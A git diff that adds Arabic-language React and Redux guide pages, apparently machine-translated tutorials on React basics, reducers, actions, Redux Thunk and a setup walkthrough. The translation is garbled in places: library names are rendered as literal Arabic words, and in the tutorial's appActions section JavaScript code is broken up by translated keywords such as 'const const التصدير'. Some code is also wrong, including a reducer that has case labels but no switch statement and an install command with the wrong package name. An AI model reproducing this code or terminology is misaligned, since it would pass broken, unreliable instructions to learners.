diff --git a/client/src/guide/arabic/react/why-react/index.md b/client/src/guide/arabic/react/why-react/index.md
new file mode 100644
index 0000000000..a5f96ee1ac
--- /dev/null
+++ b/client/src/guide/arabic/react/why-react/index.md
@@ -0,0 +1,31 @@
+---
+title: Why React
+localeTitle: لماذا نتفاعل
+---
+## لماذا React.js؟
+
+### بساطة
+
+React.js ليس إطارًا كاملًا لجافا سكريبت مثل Angular.js أو غيرها من إطارات الواجهة الأمامية الشائعة. بدلاً من ذلك ، يعمل React.js كـ "V" في MVC (وحدة تحكم عرض الطراز). إنه ببساطة محرك عرض يمكن إسقاطه واستخدامه مع مجموعة كبيرة من الأدوات الأخرى للبيانات وجزء من نموذج MVC (الأكثر شيوعًا Redux و Node.js).
+
+### أداء
+
+نظرًا لأن React تستخدم _DOM Virtual_ ، فيمكنها تحديث أجزاء من الصفحة حسب الحاجة بدلاً من الاضطرار دائمًا إلى إكمال إعادة تحميل الصفحة بالكامل. في العديد من الحالات ، لن يؤدي تحديث DOM بالكامل إلى حفظ الأداء بشكل كبير. علاوة على ذلك ، فإن العديد من الوظائف المضمنة (مثل وظائف دورة الحياة) تتمتع أيضًا بفوائد أداء حيث أنها تساعد في كثير من الأحيان على التحقق مما إذا كان هناك حاجة إلى البدء بإعادة التقديم.
+
+### منحنى التعلم منخفض
+
+ومن بين "الأطر" الرئيسية الموجودة في الواجهة الأمامية ، فإن React لديه حاجز منخفض نسبياً أمام الدخول ولديه وقت سريع. بالإضافة إلى ذلك ، الوثائق الرسمية لـ React واضحة للغاية وتوفر العديد من الأمثلة لمعظم حالات الاستخدام الشائعة.
+
+### الأدوات
+
+إن الأدوات والبرامج التي تستخدم بشكل شائع مع React يتم صيانتها ودعمها بشكل لا يصدق ، وتوفر العديد من الطرق المختلفة لأفضل الممارسات التي يجب اتباعها عند تطوير تطبيقات الويب. تتضمن بعض هذه الأدوات Redux و React-router و Thunk والعديد من الأدوات الأخرى. هناك أيضًا عدد من أدوات التطوير ، مثل إضافة React و Redux Chrome ، والتي تساعد في تصحيح تطبيقات React الخاصة بك.
+
+### الدعم
+
+يتم إنشاء React والمحافظة عليها من قبل الناس على Facebook ويتم استخدامها من قبل الأفراد والشركات في جميع أنحاء العالم في حجم كبير. وهذا يعني أن React يتحسن باستمرار وأي مشكلات ربما تكون قد تم طرحها بالفعل على Stack Overflow.
+
+بخلاف ما ذكر أعلاه ، يمكننا أن نأخذ معرفتنا بالتفاعل لتطوير التطبيقات الأصلية للجوّال باستخدام تفاعل أصلي ونأخذ أيضًا معرفتنا ونوسعها إلى VR باستخدام react-vr. التفاعل الأساسي في الأساس يفتح المجال أمام مختلف العمليات الأخرى مثل استخدامه على الويب و VR و PWA (تطبيق الويب التقدمي) والعديد من الآخرين
+
+#### معلومات اكثر
+
+لمعرفة المزيد حول ميزة React الرائعة ، اطلع على [الموقع الرسمي](https://reactjs.org/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/your-first-app/index.md b/client/src/guide/arabic/react/your-first-app/index.md
new file mode 100644
index 0000000000..b63c59699c
--- /dev/null
+++ b/client/src/guide/arabic/react/your-first-app/index.md
@@ -0,0 +1,69 @@
+---
+title: Your first React App
+localeTitle: لديك أول رد فعل التطبيق
+---
+## لديك أول رد فعل التطبيق
+
+### التركيب
+
+كما هو محدد في الأداة السابقة (التثبيت) ، قم بتشغيل أداة `Create React App` React. بعد الانتهاء من كل شيء ، أدخل `cd` في مجلد التطبيق الخاص بك وقم بتشغيل `npm start` . سيؤدي هذا إلى بدء خادم تطوير وستكون جاهزًا للبدء في تطوير تطبيقك!
+
+ `npm install -g react-create-app 
+ create-react-app my-first-app 
+ 
+ cd my-first-app 
+ npm start 
+` 
+
+### تحرير الرمز
+
+بدء تشغيل المحرر الخاص بك أو IDE للاختيار وتحرير ملف `App.js` في المجلد `src` . عند إنشائه باستخدام أداة `react-create-app` ، سيكون هناك بالفعل شفرة في هذا الملف.
+
+يتكون الرمز من الأجزاء التالية:
+
+#### واردات
+
+ `import React, { Component } from 'react'; 
+ import logo from './logo.svg'; 
+ import './App.css'; 
+` 
+
+يتم استخدام هذا من خلال [webpack](https://webpack.js.org/) لاستيراد جميع الوحدات المطلوبة بحيث يمكن أن تستخدمها الكود. هذا الرمز يستورد 3 وحدات: 1) `React` `Component` ، مما يسمح لنا باستخدام React كما ينبغي استخدامه. (مع المكونات) 2) `logo` ، والذي يسمح لنا باستخدام `logo.svg` في هذا الملف. 3) `./App.css` ، التي تستورد ورقة الأنماط لهذا الملف.
+
+#### فصول / المكونات
+
+ `class App extends Component { 
+  render() { 
+    return ( 
+      <div className="App"> 
+        <header className="App-header"> 
+          <img src={logo} className="App-logo" alt="logo" /> 
+          <h1 className="App-title">Welcome to React</h1> 
+        </header> 
+        <p className="App-intro"> 
+          To get started, edit <code>src/App.js</code> and save to reload. 
+        </p> 
+      </div> 
+    ); 
+  } 
+ } 
+` 
+
+React هي مكتبة تستخدم المكونات ، والتي تتيح لك تقسيم واجهة المستخدم إلى أجزاء مستقلة يمكن إعادة استخدامها والتفكير في كل قطعة بمعزل عن غيرها. يوجد بالفعل مكون واحد مكون ، مكون `App` . إذا كنت تستخدم أداة `create-react-app` ، فإن هذا المكون هو المكون الرئيسي في المشروع ويجب أن تبني حول هذه الطبقة المركزية.
+
+سننظر في المكونات أكثر تفصيلاً في الفصول القادمة.
+
+#### صادرات
+
+عند إنشاء فئة في الاستجابة ، يجب عليك تصديرها بعد التصريح ، والذي يسمح لك باستخدام المكون في ملف آخر باستخدام الكلمة الأساسية `import` . يمكنك استخدام `default` بعد الكلمة الأساسية `export` لإعلام React أن هذه هي الفئة الرئيسية من هذا الملف.
+
+ `export default App; 
+` 
+
+### عرض النتائج!
+
+عند بدء تشغيل خادم التطوير من خلال إصدار الأمر `npm start` ، يمكنك مشاهدة التغييرات التي تضيفها إلى مشروعك مباشرة في متصفحك. بعد إصدار الأمر ، يجب أن يفتح npm متصفحًا يعرض تطبيقك تلقائيًا.
+
+### مصادر
+
+[1\. رد فعل الوثائق](https://reactjs.org/docs/hello-world.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/redux/index.md b/client/src/guide/arabic/redux/index.md
new file mode 100644
index 0000000000..ba7b2190cf
--- /dev/null
+++ b/client/src/guide/arabic/redux/index.md
@@ -0,0 +1,93 @@
+---
+title: Redux
+localeTitle: مسترجع
+---
+## مسترجع
+
+Redux هو حاوية حالة يمكن التنبؤ بها لتطبيقات JavaScript.
+
+يساعدك على كتابة التطبيقات التي تتصرف باستمرار ، وتشغيل في بيئات مختلفة (العميل والخادم ، والأصلي) ، وسهلة لاختبار. علاوة على ذلك ، فإنه يوفر تجربة رائعة للمطورين ، مثل تحرير التعليمة البرمجية المباشرة مع مصحح أخطاء وقت السفر.
+
+المبادئ الأساسية لـ Redux:
+
+1.  Redux هي حاوية حكومية ، حيث تقوم بتخزين كل الولاية في مكان واحد
+2.  تتم قراءة الولاية فقط ، والطريقة الوحيدة لتغيير الدولة هي إرسال عمل.
+3.  لا يمكن تغيير الحالة إلا من خلال وظائف نقية أو في مصطلح آخر: مخفضات. يأخذ Redux Reducers في الحالة السابقة وكائن التصرف ويعيد الحالة التالية.
+
+من الناحية العملية ، كيف نستخدم Redux بالضبط؟
+
+### المادة 1
+
+#### أين يتم تخزين هذه الحالة؟ Redux يوفر لك وظيفة يدوية تسمى
+
+ `createStore() 
+` 
+
+حيث يمكنك إنشاء المتجر الذي سيحافظ على كل حالتك.
+
+### القاعدة 3 (سأقوم بعرض القاعدة 3 أولاً لأنها ستجعلها أكثر منطقية)
+
+#### لا يمكن تغيير الحالة إلا من خلال وظيفة نقية تعرف بالمخفّض حتى نتمكن من إنشاء هذا الاتصال سنمرر في المخفض إلى CreateStore () مثل
+
+ `var store = createStore(reducer) 
+` 
+
+يصبح الأمر أكثر تعقيدا عندما يكون لديك مخفضات أكثر ولكن في الصميم ، يحتوي المخزن الآن على مخفض متصل به
+
+### القاعدة 2
+
+#### بمجرد أن يكون لدينا متجر يتم إنشاؤه باستخدام store = createStore (المخفض). يحتوي المتجر الجديد الذي أنشأناه على طريقة تسمى الإرسال. تذكر في القاعدة 2 الطريقة الوحيدة التي يمكننا بها تغيير الدولة هي إرسال عمل!
+
+تستطيع أن ترى أين يحدث هذا.
+
+ `store.dispatch(action) 
+` 
+
+قبل أن أتناول ما هو المخفض والعمل الذي أقوم به ، أعتقد أن عرض تطبيق أساسي ومحدود للغاية لـ CreateStore () من Redux سوف يساعد بشكل كبير.
+
+ `createStore = (reducer) => { 
+    let state; 
+ //dispatch method 
+    dispatch = (action) => { 
+        state = reducer(state, action) 
+    } 
+  return {dispatch} 
+ } 
+` 
+
+انظر كيف نمرر في المخفض إلى createStore ويصبح مضبوطًا في طريقة إرسالنا ؛ وعندما نطلق على طريقة الإرسال فإنه يأخذ في عمل ويضع حالة جديدة على أساس ما سوف يعود المخفض.
+
+## ما هو المخفض؟ ما هو العمل؟
+
+الإجراء في المستوى الأساسي هو كائن له خاصية تسمى النوع. يمكن أن يكون لها أيضًا خصائص أخرى ، ولكن ببساطة ستتمتع بالنوع.
+
+ `var someAction = {type:'doSomething'} 
+` 
+
+المخفض هو مجرد وظيفة:
+
+ `var reducer = (state, action) => { 
+ 
+    if (action.type === 'doSomething'){ 
+        return changedState; 
+    } else if ( action.type === 'doSomethingElse'){ 
+        return changedState; 
+    } else { 
+        return state 
+    } 
+ } 
+` 
+
+الإجراء الذي نمرره إلى المخفض سيحدد كيفية تغيير الحالة اعتمادًا على النوع. يصبح Redux أكثر تعقيدًا ، ولكن إذا فهمت هذه المبادئ ، فسيكون لديك وقتًا أسهل في التنقل من خلال مشاريع رد الفعل المتفاعلة!
+
+#### معلومات اكثر:
+
+##### هل حقا بحاجة إلى Redux؟
+
+[كتب دان أبراموف](https://github.com/gaearon) ، مبتكر Redux ، منذ بعض الوقت مقالة رائعة [قد لا تحتاج إلى Redux](https://medium.com/@dan_abramov/you-might-not-need-redux-be46360cf367) . يجب عليك التحقق من ذلك أولاً ، لأنك قد لا تحتاج إليه.
+
+لمزيد من المعلومات ، توجه إلى [http://redux.js.org/](http://redux.js.org/)
+
+### مصادر
+
+*   [دورة من دان أبراموف ، مؤلف Redux.](https://egghead.io/courses/getting-started-with-redux)
\ No newline at end of file
diff --git a/client/src/guide/arabic/redux/reducers/index.md b/client/src/guide/arabic/redux/reducers/index.md
new file mode 100644
index 0000000000..3914e3298e
--- /dev/null
+++ b/client/src/guide/arabic/redux/reducers/index.md
@@ -0,0 +1,11 @@
+---
+title: Reducers
+localeTitle: مخفضات
+---
+### ما هي مخفضات في Redux؟
+
+مخفضات هي وظائف نقية اتخاذ إجراء وحالة سابقة وإرجاع حالة جديدة. بالنظر إلى نفس المدخلات ، يجب على المخفض دائمًا إرجاع نفس المخرج. 1
+
+### مصادر
+
+1.  http://redux.js.org/docs/basics/Reducers.html
\ No newline at end of file
diff --git a/client/src/guide/arabic/redux/redux-actions/index.md b/client/src/guide/arabic/redux/redux-actions/index.md
new file mode 100644
index 0000000000..83bf4de990
--- /dev/null
+++ b/client/src/guide/arabic/redux/redux-actions/index.md
@@ -0,0 +1,26 @@
+---
+title: Redux Actions
+localeTitle: إجراءات Redux
+---
+## إجراءات Redux
+
+الإجراء Redux هو كائن بسيط يصف أي نوع من الأحداث حدث في التطبيق الخاص بك. يمكن أن تحتوي حتى البيانات التي يجب إرسالها من التطبيق إلى مخزن Redux. يمكن أن يحتوي الإجراء على أي شيء ولكن يجب أن يكون إلزاميًا اكتب الخاصية التي تصف الحدث الذي يجري. من الممارسات الجيدة استخدام الثوابت أثناء وصف الإجراء.
+
+فمثلا
+
+ `const ADD_ITEM = 'ADD_ITEM' 
+` 
+
+ `{ 
+ type: ADD_ITEM, 
+ text: 'This is the first item' 
+ } 
+` 
+
+يمكننا إرسال هذه الإجراءات إلى المتجر باستخدام `javascript store.dispatch()` يمكن أن يحتوي التطبيق على أنواع مختلفة من الأحداث التي تحدث في كل مرة وتساعد هذه الإجراءات في وصف هذه الأحداث. بدون هذه الإجراءات لا توجد طريقة لتغيير حالة التطبيق.
+
+يمكنك تجربة مشروع [الإجراءات التصاعدية](https://github.com/redux-utilities/redux-actions) الذي يقلل من الكثير من كتابة التعليمات البرمجية مما يجعل من كتابة الإجراءات أسرع.
+
+#### معلومات اكثر:
+
+[Actions-Redux Offical Docs](https://redux.js.org/basics/actions) [redux-actions](https://github.com/redux-utilities/redux-actions) github project page
\ No newline at end of file
diff --git a/client/src/guide/arabic/redux/redux-middleware/index.md b/client/src/guide/arabic/redux/redux-middleware/index.md
new file mode 100644
index 0000000000..4c1eb94237
--- /dev/null
+++ b/client/src/guide/arabic/redux/redux-middleware/index.md
@@ -0,0 +1,11 @@
+---
+title: Redux Middleware
+localeTitle: Redux الوسيطة
+---
+## Redux الوسيطة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/redux/redux-middleware/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/redux/redux-reducers/index.md b/client/src/guide/arabic/redux/redux-reducers/index.md
new file mode 100644
index 0000000000..f280d557d3
--- /dev/null
+++ b/client/src/guide/arabic/redux/redux-reducers/index.md
@@ -0,0 +1,46 @@
+---
+title: Redux Reducers
+localeTitle: مخفضات Redux
+---
+## مخفضات Redux
+
+تتيح لك مخفضات Redux إجراء تغييرات على حالتك في تطبيقك. الإجراءات في redux فقط تخبر التطبيق ما حدث في الأساس. سواء أكان ذلك حدثًا نقرة حدثت أو تم التمرير بالماوس ، فسيعلم فقط أن هذا الشيء حدث. الآن كيف يمكنك تغيير حالة التطبيق الخاص بك الذي يعيش داخل المتجر بشكل جيد تقوم بذلك باستخدام مخفض.
+
+الآن يجب أن يكون المخفض في عملية redux عبارة عن وظيفة نقية. الوظيفة النقية هي نوع من الوظائف التي لا تحتوي على آثار جانبية إضافية. يمكنك تمريرها بعض الوسائط وترجع النتيجة المتوقعة. فمثلا:
+
+ `function add(a,b) { 
+ return a + b; 
+ } 
+ 
+ const sum = add(5,4); 
+` 
+
+الوظيفة المذكورة أعلاه هي نقية لأنه بغض النظر عما سيحدث فإنه سيعود 9. وظيفة تحتوي على مكالمات ajax بداخله أو يفعل شيئا مثل الوصول إلى قاعدة بيانات ليست وظيفة نقية. حتى لو قمنا بتحويل معنى التغيير ، فإن القيمة المتغيرة يمكن اعتبارها ليست وظيفة نقية.
+
+الآن لإجراء تغييرات على الحالة التي تستخدمها المخفض. فيما يلي مثال لمدونة المخفض:
+
+ ` function todoReducer(state= [],action) { 
+  case 'ADD_TODO': 
+      return [...state,action.data] 
+  case  'DELETE_TODO': 
+      return state.filter(todo=>todo.id !== action.id) 
+  default: 
+      return state; 
+ } 
+` 
+
+ما يفعله تودروديروسر هو أنه يأخذ في الحالة الراهنة والإجراء الذي تم تشغيله ثم يقوم بإرجاع حالة جديدة. هنا استخدمنا بناء جملة المعلمة الافتراضية es6 لتعيين قيمة افتراضية لصفيف الحالة. قد يظهر كائن الإجراء للمخفض أعلاه كما يلي:
+
+ `{ 
+ type: 'ADD_TODO', 
+ data: {name: 'Learn Redux',completed:false} 
+ } 
+` 
+
+هنا يحتوي الإجراء على خاصية كتابة 'ADD\_TODO' مع كائن بيانات. والآن عندما يتم تشغيل هذا الإجراء ، يتم استلامه بواسطة المخفض ثم يعتمد على عبارة التبديل فإنه سيعرض مصفوفة جديدة مع البيانات الموجودة إلى جانب البيانات الجديدة.
+
+إذاً ، لملخص المخفّضات ، ليست سوى وظائف نقية تقوم بإرجاع حالة جديدة للتطبيق الخاص بك.
+
+#### معلومات اكثر:
+
+[Redux-Reducers المستندات الرسمية](https://redux.js.org/basics/reducers)
\ No newline at end of file
diff --git a/client/src/guide/arabic/redux/redux-sagas/index.md b/client/src/guide/arabic/redux/redux-sagas/index.md
new file mode 100644
index 0000000000..c7de8d6166
--- /dev/null
+++ b/client/src/guide/arabic/redux/redux-sagas/index.md
@@ -0,0 +1,11 @@
+---
+title: Redux Sagas
+localeTitle: Redux Sagas
+---
+## Redux Sagas
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/redux/redux-sagas/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/redux/redux-selectors/index.md b/client/src/guide/arabic/redux/redux-selectors/index.md
new file mode 100644
index 0000000000..a51cecd915
--- /dev/null
+++ b/client/src/guide/arabic/redux/redux-selectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Redux Selectors
+localeTitle: محددات Redux
+---
+## محددات Redux
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/redux/redux-selectors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/redux/redux-thunk/index.md b/client/src/guide/arabic/redux/redux-thunk/index.md
new file mode 100644
index 0000000000..3f71ba2339
--- /dev/null
+++ b/client/src/guide/arabic/redux/redux-thunk/index.md
@@ -0,0 +1,71 @@
+---
+title: Redux Thunk
+localeTitle: Redux Thunk
+---
+## Redux Thunk
+
+Redux Thunk هي برامج وسيطة تسمح لك بإعادة الوظائف ، بدلاً من الإجراءات فقط ، داخل Redux 1 . وهذا يسمح بالتأخر في الإجراءات ، بما في ذلك العمل مع الوعود.
+
+السبب في أننا نستخدم هذه الوسيطة هو السبب في أنه لن تكون جميع الإجراءات التي نقوم بها متزامنة وبعضها لا يكون متزامنًا ، مثل استخدام axios لإرسال طلب الحصول على. وسيستغرق ذلك بعض الوقت ، ولا يأخذ عملية التحسين البسيطة في حساب هذا السلوك الجسيم. لذا ، فإن Redux-thunk يأتي إلى الإنقاذ من خلال السماح لنا بإرسال الأعمال بشكل غير متزامن ، حتى يمكننا السماح لهذه الوعود بالحل.
+
+مثال 1:
+
+ ``const INCREMENT_COUNTER = 'INCREMENT_COUNTER'; 
+ 
+ function increment() { 
+  return { 
+    type: INCREMENT_COUNTER 
+  }; 
+ } 
+ 
+ function incrementAsync() { 
+  return dispatch => { 
+    setTimeout(() => { 
+      // Yay! Can invoke sync or async actions with `dispatch` 
+      dispatch(increment()); 
+    }, 1000); 
+  }; 
+ } 
+`` 
+
+المثال 2:
+
+ `const GET_CURRENT_USER = 'GET_CURRENT_USER'; 
+ const GET_CURRENT_USER_SUCCESS = 'GET_CURRENT_USER_SUCCESS'; 
+ const GET_CURRENT_USER_FAILURE = 'GET_CURRENT_USER_FAILURE'; 
+ 
+ const getUser = () => { 
+  return (dispatch) => {     //nameless functions 
+    // Initial action dispatched 
+    dispatch({ type: GET_CURRENT_USER }); 
+    // Return promise with success and failure actions 
+    return axios.get('/api/auth/user').then( 
+      user => dispatch({ type: GET_CURRENT_USER_SUCCESS, user }), 
+      err => dispatch({ type: GET_CURRENT_USER_FAILURE, err }) 
+    ); 
+  }; 
+ }; 
+` 
+
+### التثبيت والإعداد
+
+يمكن تثبيت Redux Thunk باستخدام `npm install redux-thunk --save` أو `yarn add redux-thunk` مع سطر الأوامر. لأنها أداة Redux ، ستحتاج أيضًا إلى إعداد Redux. بمجرد تثبيته ، يتم تمكينه باستخدام `applyMiddleware()` :
+
+ `import { createStore, applyMiddleware } from 'redux'; 
+ import thunk from 'redux-thunk'; 
+ import rootReducer from './reducers/index'; 
+ 
+ const store = createStore( 
+  rootReducer, 
+  applyMiddleware(thunk) 
+ ); 
+` 
+
+### المراجع
+
+*   [Redux Thunk Github Repo](https://github.com/reduxjs/redux-thunk)
+*   [Redux الوسيطة](https://redux.js.org/advanced/middleware)
+
+### مصادر
+
+1.  [مثال عداد الزيادة المستشهد به من وثائق Redux Thunk ، بتاريخ 10/02/2018](#https://github.com/reduxjs/redux-thunk)
\ No newline at end of file
diff --git a/client/src/guide/arabic/redux/reselect/index.md b/client/src/guide/arabic/redux/reselect/index.md
new file mode 100644
index 0000000000..697c8e038c
--- /dev/null
+++ b/client/src/guide/arabic/redux/reselect/index.md
@@ -0,0 +1,18 @@
+---
+title: Reselect
+localeTitle: إختار من جديد
+---
+## إختار من جديد
+
+Reselect هو مكتبة محدد بسيطة لـ Redux. لماذا نحتاج المختارين؟ تصف المستندات الرسمية هذه الطريقة:
+
+*   يمكن أن يقوم المحللون بحساب البيانات المشتقة ، مما يسمح لـ Redux بتخزين الحد الأدنى من الحالات الممكنة.
+*   الاختيارات هي فعالة. لا يتم إعادة حساب المحدد ما لم يتغير أحد وسيطاتها.
+*   الاختيارات قابلة للتركيب. يمكن استخدامها كمدخل إلى محددات أخرى.
+
+قد يبدو الأمر معقدًا ، إلا أن slectors تسمح للتطبيق بالعمل بشكل أسرع عن طريق تقليل العرض (الاستدعاءات) بدون داعٍ. يسمى عادة `mapStateToProps` كل مرة يتم فيها أي تغيير في `store` . `mapStateToProps` بربط قيم المتجر للتفاعل. حتى تتمكن من استخدام `PureComponents` قد يتسبب في إعادة تجميع المكون على الرغم من أنه غير مطلوب.
+
+#### معلومات اكثر:
+
+*   [إختار من جديد](https://github.com/reduxjs/reselect)
+*   [رد ، حدد و Redux](https://medium.com/@parkerdan/react-reselect-and-redux-b34017f8194c)
\ No newline at end of file
diff --git a/client/src/guide/arabic/redux/tutorial/index.md b/client/src/guide/arabic/redux/tutorial/index.md
new file mode 100644
index 0000000000..d988d0bd62
--- /dev/null
+++ b/client/src/guide/arabic/redux/tutorial/index.md
@@ -0,0 +1,275 @@
+---
+title: React Redux Basic Setup
+localeTitle: رد فعل Redux الإعداد الأساسي
+---
## رد فعل Redux الإعداد الأساسي
+
+في هذا الدليل ، سيعرض على القارئ كيفية إعداد تطبيق React و Redux بسيط.
+
+وهو يعتمد على مبدأ إنشاء تطبيق [Node.js](https://nodejs.org/) بالفعل وتشغيله مع [Express](https://expressjs.com/) و [Webpack](https://webpack.github.io/) .
+
+## التركيب
+
+بافتراض أن كل شيء يتم إعداده ويعمل بشكل صحيح هناك بعض الحزم التي تحتاج إلى إضافة لكي يعمل Redux مع React.
+
+افتح محطة طرفية داخل مجلد المشروع الذي تم إنشاؤه وقم بإصدار الأمر التالي
+
+ `npm install --save react react react-dom react-redux react-router redux 
+` 
+
+ما يفعله الأمر أعلاه هو تثبيت الحزم محليًا وإضافة مرجع إلى ملف package.json تحت تبعيات.
+
+أضف أيضًا إلى المتصفح الذي اخترته الأداة التالية [Redux Dev Tools](https://github.com/zalmoxisus/redux-devtools-extension) .
+
+سيسمح هذا للمطور برؤية حالة التطبيق والتغييرات والإجراءات التي يتم تشغيلها أيضًا.
+
+## هيكل المجلد
+
+مع تثبيت جميع الاعتمادات ، ينصح بشدة بإنشاء بنية مجلدات داخل التطبيق الخاص بك تشبه إلى آخر رفع مستوى للتنظيم ورمز أفضل.
+
+ `project_root 
+ │   index.js 
+ | 
+ └───client 
+ |   App.jsx 
+ |   NotFound.jsx 
+ | 
+ └───common 
+    │ 
+    └───actions 
+    |   │  appActions.js 
+    | 
+    └───constants 
+    |   │  Actiontypes.js 
+    | 
+    └───reducers 
+    |   │   appReducer.js 
+    └───store 
+        │   store.js 
+` 
+
+## وصف مكونات التطبيق وكيف يتفاعلون مع أنفسهم ومع redux
+
+## تطبيق نقطة دخول التطبيق
+
+*   /project\_root/index.js
+    *   هل نقطة الإدخال الخاصة بالتطبيق ستحتوي على نقطة الإدخال لأي متجر ، وستعرض ملف App.jsx.
+
+خوار هو مثال على الرمز الذي سيتم الإعلان عنه في الملف
+
+ `import React from 'react'; 
+ import {render} from 'react-dom'; 
+ import {Router,Route,browserHistory} from 'react-router'; 
+ import {Provider} from "react-redux"; 
+ import store from "../common/store/store"; 
+ import App from '../client/App'; 
+ import NotFound from '../client/notFound'; 
+ 
+ render( 
+    <Provider store={store}> 
+        <Router history={browserHistory}> 
+            <Route path="/" component={App} /> 
+            <Route path="*" component={NotFound}/> 
+        </Router> 
+    </Provider>, 
+    document.getElementById('root') 
+ ); 
+` 
+
+في هذا المثال ، تتم إضافة واردات ردود الفعل المعتادة إلى الملف ، ولكن أيضًا بعض الإضافات الجديدة ، مثل جهاز التوجيه ، والمسار ، والمتصفح.
+
+هذه هي المسؤولة عن التعامل مع الطرق إذا كانت هناك حاجة إلى التطبيق.
+
+وأيضا حيث يتم إضافة مخزن التطبيقات ويسمح للعمل في التطبيق.
+
+## تطبيق مكون التطبيق
+
+الملف التالي:
+
+*   /client/App.jsx
+*   هذا الملف هو ملف التطبيق الأساسي ، وحيثما يتفاعل كل من التفاعل والارتداد بين بعضهما البعض.
+
+ ``import React, { Component } from 'react'; 
+ import {connect} from 'react-redux'; 
+ import PropTypes from 'prop-types'; 
+ import {ActionA,ActionB,ActionC} from '../common/actions/appActions'; 
+ class App extends Component{ 
+ 
+    // example of triggering the action inside a component 
+    foo=()=>{ 
+        this.props.doStringMessage(`Hello World`); 
+    } 
+    //default render function of the component 
+    render(){ 
+        return( 
+            // the base component 
+        ); 
+    } 
+ } 
+ /** 
+ * es6 fat arrow function to get information from the application state 
+ * @param {*} state current state of the application 
+ */ 
+ const mapStateToProps=state=>{ 
+    return { 
+        ArrayValue:state.example.exapleArray, 
+        StringMessage:state.example.exampleString, 
+        bookApploggedIn:state.example.exampleBool, 
+        ObjectValue:state.example.exampleObject 
+    }; 
+ }; 
+ /** 
+ * es6 fat arrow function to connect the actions declared in the action file to the the component as if they were common react props 
+ * @param {*} dispatch function send to action file to be later processed in the reducer 
+ */ 
+ const mapDispatchToProps=dispatch=>{ 
+    return { 
+        doStringMessage:(value)=>{ 
+            dispatch(ActionA(value)); 
+        }, 
+        getArrayItems:()=>{ 
+            dispatch(ActionB()); 
+        }, 
+        doBooleanChange:(value)=>{ 
+            dispatch(ActionC(value)); 
+        } 
+    }; 
+ }; 
+ /** 
+ * this function connects the application component to be possible to interact with the store 
+ * @param {*} mapStateToProps allows the retrieval of information from the state of the application 
+ * @param {*} mapDispatchToProps allows the state to change via the actions defined inside 
+ */ 
+ export default connect(mapStateToProps,mapDispatchToProps)(App); 
+`` 
+
+يوضح المثال أعلاه كيفية إعداد مكون التطبيق الأساسي وكيفية تفاعله مع بنية redux.
+
+أيضا كيفية إرسال عمل محدد من المكون الذي سيتم تمريرها إلى المخزن وإجراء التغييرات على مخفض التطبيق.
+
+## إعلان إجراءات التطبيق
+
+الملف التالي:
+
+*   /common/actions/appActions.js
+    
+*   هذا الملف هو المكان الذي ستتفاعل فيه كل من الإجراءات المحددة مع حالة التطبيق والمخفض.
+    
+*   وكذلك يجب أن يتم إجراء أي استدعاء واجهة مستخدم خارجي يحتاجه التطبيق هنا ثم تمريره إلى المخفض عبر استدعاء الإجراء.
+    
+    \`\` \`جافا سكريبت استيراد { APP _ACTION_ A ، APP _ACTION_ B ، APP _ACTION_ C } من "../constants/Action أنواع" ؛ / \*\*
+    
+*   es6 ثابت ل comunicate مع المخفض لأداء عمل معين
+    
+*   param {Object} يقوم بتقييم كائن أو أي نوع آخر ليتم تعيينه في المخفض **/ const const التصدير doActionA = value => ({ النوع: APP _ACTION_ A ، القيمة })؛ /**
+    
+*   es6 ثابت ل comunicate مع المخفض لأداء عمل معين
+    
+*   param {الكائن} كائن أو أي نوع آخر ليتم تعيينه في المخفض **/ const const التصدير doActionB = value => ({ النوع: APP _ACTION_ B ، القيمة })؛ /**
+    
+*   es6 ثابت ل comunicate مع المخفض لأداء عمل معين
+    
+*   param {الكائن} كائن أو أي نوع آخر ليتم تعيينه في المخفض **/ const export doActionC = value => ({ النوع: APP _ACTION_ C ، القيمة })؛ /**
+    
+*   es6 الثابت الذي سيكون على علم بالمكون بحيث يكون التفاعل ممكنًا بين المكون والدولة
+    
+*   param {Object} يقوم بتقييم كائن أو أي نوع آخر ليتم تعيينه في المخفض **/ const const للتصدير ActionA = value => dispatch => { الإرسال (doActionB (القيمة))؛ }؛ /**
+    
+*   es6 الثابت الذي سيكون على علم بالمكون بحيث يكون التفاعل ممكنًا بين المكون والدولة \*\* / const const للتصدير ActionB = () => dispatch => { الإرسال (doActionB (صحيح))؛ }؛ `In the example code provided above, the item` سيصبح `In the example code provided above, the item` ActionB\`\`\` متاحًا لمكون App.jsx وعندما يتم تشغيله بواسطة المكون عبر دعامة ، فإنه سيؤدي إلى الإجراء المناسب داخل هذا الملف ثم إلى المخفض وتغييره. وفقا لذلك.
+    
+
+## تنفيذ أنواع العمل
+
+الملف التالي:
+
+*   /common/constants/Actiontypes.js
+*   سيحتوي هذا الملف على إعلان كل نوع من أنواع الإجراءات المتاحة للاستخدام من قبل التطبيق.
+*   يجب أن تكون التصريحات التي يتم القيام بها هنا متوفرة على ملف الإجراءات حتى يتم التعامل معها في التطبيق.
+
+ `export const APP_ACTION_A='MAKE_A'; 
+ export const APP_ACTION_B='MAKE_B'; 
+ export const APP_ACTION_C='MAKE_C'; 
+` 
+
+في المثال المذكور أعلاه ، يتم الإعلان عن ثلاثة أنواع من الإجراءات وتصديرها لكي تصبح متاحة للاستهلاك.
+
+## تنفيذ المخفض
+
+الملف التالي:
+
+*   /common/reducers/appReducer.js
+    *   إن المخفض في الجوهر ليس أكثر من وظيفة نقية لجافا سكريبت سوف تتحقق مما إذا كان أي من الشروط يفي بالإجراء الذي تم تشغيله وإجراء التغييرات على الحالة ، ولا يتم تحويره أبدًا.
+
